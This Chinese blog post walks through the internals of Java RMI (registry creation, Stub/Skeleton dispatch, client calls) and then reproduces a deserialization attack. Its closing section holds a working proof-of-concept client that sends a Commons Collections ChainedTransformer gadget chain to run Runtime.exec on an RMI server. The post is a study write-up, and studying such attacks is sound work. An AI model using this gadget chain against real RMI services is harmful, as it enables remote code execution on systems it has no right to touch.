前言
之前简单的来学了一下RMI的使用,但是对于它的反序列化,我们还是需要通过底层代码逻辑来实现的
所以现在再来学一下
RMI前情回顾
RMI的基本结构就是这样的
我们现了解一下Registry:http://doc.yonyoucloud.com/doc/jdk6-api-zh/java/rmi/registry/Registry.html
RMI分为三个主体部分:Client,Server,Registry。
在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。
我在网上找到个很通俗的解释:
Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用。registry作用就好像是,病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)的在哪个门诊室再去看病(执行远程方法)。
RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:
整个过程会进行两次TCP连接,第一次是让Client获取到这个Name和对象的绑定关系,第二次再去连接Server并调用远程方法。
第一次TCP:
RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
RemoteCall序列化RMI服务名称、Remote对象。
RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
第二次TCP:
RMI客户端反序列化服务端结果,获取远程对象的引用。
RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
RMI客户端反序列化RMI远程方法调用结果。
我们按照:http://blog.m1kael.cn/index.php/archives/463/
写一个简单的RMI
流程分析
创建注册中心
Registry registry = LocateRegistry.createRegistry(1080);
发现服务端创建了RegistryImpl对象
然后会将一些数据封装到var2
继续跟进setup()创建了一个UnicastServerRef对象,然后把封装的var2传入
然后把创建的UnicastServerRef对象做为var1传入setup()中
然后在setup()中调用了exportObject方法,继续跟进
然后创建了RegistryImpl的代理对象RegistryImpl_stub,这个东西就是后面服务于客户端端RegistryImpl的Stub对象
然后传入RegistryImpl,创建出RegistryImp_Skel
接着把skelen,stub,UnicastServerRef对象,ObiJD和一个boolean值构造为一个Target对象
然后又调用了ref的exportObject方法,传入Target对象,跟进LiveRef的exportObject
又调用了TCPEndpoint的exporObject方法,这个方法就是将target对象暴露出来
然后跟进它的listen()方法
调用了newServerSocket方法,会开启端口监听
然后就是启动一条线程等待客户端的请求
然后回到TCPEndpoint的exporObject方法
调用了父类的exportObject方法将对象Target存放到ObjectTable里面
注册中心处理
还是回到我们的listen函数
然后跟进到AcceptLoop()的executeAcceptLoop()
然后会获取了请求的一些信息,创建一个线程,调用内部类的ConnectionHandler来处理
接收请求,在run()中获取ServerSocket对象
继续跟进后续的run0(),handleMessages来处理请求
然后跟进handleMessages,在之前获取一些传输过来的数据,然后转到case80
然后创建一个StreamRemoteCall对象,并传入var1,var1是当前连接的Connection对象
然后跟进下一行TCPTransport#serviceCall
然后获取了ObjID,之后就会获取Target对象,接着调用UnicastServerRef#dispatch来处理请求
继续跟进
接着调用了oldDispatch,然后跟进发现调用了diaspath
可以看到this.skel就是之前创建的RegistryImpl_Skel对象,也就是说UnicastServerRef#dispatch最后会调用到RegistryImpl_Skel#dispatch来处理请求
var3是一个int类型的数组,分别对应了
0->bind
1->list
2->lookup
3->rebind
4->unbind
可以看到case 0对应的是bind,有执行readObject,而最后var6.bind中的var6是RegistryImpl对象,由createRegistry获得
比如调用了bind,则会进入RegistryImpl_Skel#dispatch中,先反序列化readObject传过来的序列化对象,之后进行var6.bind来注册服务,而var6则是RegistryImpl对象。也就是说无论是客户端还是服务端,最终其调用注册中心的方法都是通过创建的RegistryImpl对象进行调用的。
获取注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1080);
具体流程就不跟着分析了,但最后返回了一个registryImpl_Stub对象
创建远程对象
这个和创建注册中心很类似,都是生存一个stub和skel并且会随机绑定一个端口发布
我们会发现这个类继承了UnicastRemoteObject
然后我们跟进super方法
发现传入的端口为0
UnicastServerRef()就是封装了一些host,ObjID等
然后会调用nicastServerRef的exportObject方法
Util.createProxy创建了一个远程对象的代理对象proxy。
跟进Util.createProxy看到,后面返回了动态代理对象,而其invocationHandler值为RemoteObjectInvocationHandler(远程调用该对象时,客户端获取到的其实是该代理对象)
然后回来我们可以得到一个动态代理类
接着往下看,构造了一个Target对象,然后调用了this.ref.exportObject方法,传入
然后跟进exportObject方法,最终
我们继续跟进listen,会开启一个随机的端口监听
其实就是做了两件事,一是启动soket监听,二是将Target实例注册到ObjectTable对象中。
客户端与服务端通信
客户端代码:
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIclient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1080);
RMIinterface rmi = (RMIinterface) registry.lookup("127.0.0.1:1080/m1");
System.out.println(rmi.sayHello());
System.out.println(rmi.end());
}
}
第三行拿到咯hello对象的proxy代理对象RemoteObjectInvocationHandler与服务器的Skel进行通信
会进入invoke方法
继续跟进invokeRemoteMethod
调用了ref.invoke,而这里的ref又是UnicastRef对象
跟进会发现调用了executeCall方法
这个方法就是用来发给服务端数据
然后跟进releaseOutputStream
这里flash就已经发给服务端了
发送完之后回到invoke方法
这里是接受服务端的数据进行readObject读取,然后赋值给var13返回
这里就会出现安全问题
客户端与服务端也差不多,就不做多解释了
RMI反序列化利用
因为在整个RMI机制过程中,都是进行反序列化传输,我们可以利用这个特性使用RMI机制来对RMI远程服务器进行反序列化攻击。
需要有两个条件:
1、接收Object类型参数的远程方法
2、RMI的服务端存在执行pop利用链的jar包
漏洞复现
因为需要接受Object类型的参数,所以需要对接口进行一个转变:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello1 extends Remote{
public String flag(String flag) throws RemoteException;
public void name(Object object) throws RemoteException;
}
然后编写一个类来实现它,并编写服务端
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public class Rmi extends UnicastRemoteObject implements Hello1 {
protected Rmi() throws RemoteException {
super();
}
@Override
public String flag(String flag) throws RemoteException {
return null;
}
@Override
public void name(Object object) throws RemoteException {
System.out.println("m1"+object);
}
}
private void start() throws Exception{
Rmi rmi = new Rmi();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello1",rmi);
}
public static void main(String[] args) throws Exception{
new Server().start();
}
}
导入cc依赖
然后编写客户端:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class RMIclient {
public static void main(String[] args) throws Exception {
Hello1 he = (Hello1) Naming.lookup("rmi://127.0.0.1:1099/Hello1");
he.name(get());
}
public static Object get() throws Exception {
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","m1");
Map outerMap = TransformedMap.decorate(innerMap,null,chainedTransformer);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,outerMap);
return obj;
}
}
结语
这里使用的jdk版本为1.7,高版本的绕过后续遇见再学习,这里只是为了fastjson的前置学习。
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!